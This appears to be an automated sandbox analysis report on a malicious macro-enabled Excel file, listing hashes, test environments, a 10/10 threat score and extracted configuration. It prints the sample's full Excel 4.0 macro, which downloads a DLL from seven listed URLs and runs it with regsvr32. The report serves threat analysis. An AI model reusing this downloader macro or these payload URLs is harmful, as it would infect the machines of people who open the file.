General
-
Target
73d03360e28e8dca5754fb466b70564c2717c444aef7eebac606f02977e4e057
-
Size
20KB
-
Sample
241120-xll5jswldj
-
MD5
c119b533dfb7aee46db8431ad47b3538
-
SHA1
9e110e4c352b8ae46acfb98286b647bed7955e56
-
SHA256
73d03360e28e8dca5754fb466b70564c2717c444aef7eebac606f02977e4e057
-
SHA512
677b949318cb7d3b7af484d5cdadfbae51ca2a8e83402f74ff5f2bf2638e1b4359355c12b3104e52f6ab36b386da05bf45fc158c62a305604a37d2d569148b2d
-
SSDEEP
384:q/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:qtINAo4FLkCBn9kC+xbLzJy
Behavioral task
behavioral1
Sample
73d03360e28e8dca5754fb466b70564c2717c444aef7eebac606f02977e4e057.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
73d03360e28e8dca5754fb466b70564c2717c444aef7eebac606f02977e4e057.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://antaoco.com/wp-admin/5WaIjOuHnUj/
http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/
http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/
http://andrewpharma.com/wp-includes/WqgKtKrYJM/
http://amkltd.co.uk/amk/IPuhx/
http://gees.com.pl/geessw/2YmxITo6/
http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/5WaIjOuHnUj/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://andrewpharma.com/wp-includes/WqgKtKrYJM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amkltd.co.uk/amk/IPuhx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gees.com.pl/geessw/2YmxITo6/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()
Extracted
http://antaoco.com/wp-admin/5WaIjOuHnUj/
http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/
http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/
http://andrewpharma.com/wp-includes/WqgKtKrYJM/
http://amkltd.co.uk/amk/IPuhx/
http://gees.com.pl/geessw/2YmxITo6/
http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/
Extracted
http://antaoco.com/wp-admin/5WaIjOuHnUj/
http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/
http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/
http://andrewpharma.com/wp-includes/WqgKtKrYJM/
http://amkltd.co.uk/amk/IPuhx/
http://gees.com.pl/geessw/2YmxITo6/
Targets
-
-
Target
73d03360e28e8dca5754fb466b70564c2717c444aef7eebac606f02977e4e057
-
Size
20KB
-
MD5
c119b533dfb7aee46db8431ad47b3538
-
SHA1
9e110e4c352b8ae46acfb98286b647bed7955e56
-
SHA256
73d03360e28e8dca5754fb466b70564c2717c444aef7eebac606f02977e4e057
-
SHA512
677b949318cb7d3b7af484d5cdadfbae51ca2a8e83402f74ff5f2bf2638e1b4359355c12b3104e52f6ab36b386da05bf45fc158c62a305604a37d2d569148b2d
-
SSDEEP
384:q/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:qtINAo4FLkCBn9kC+xbLzJy
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-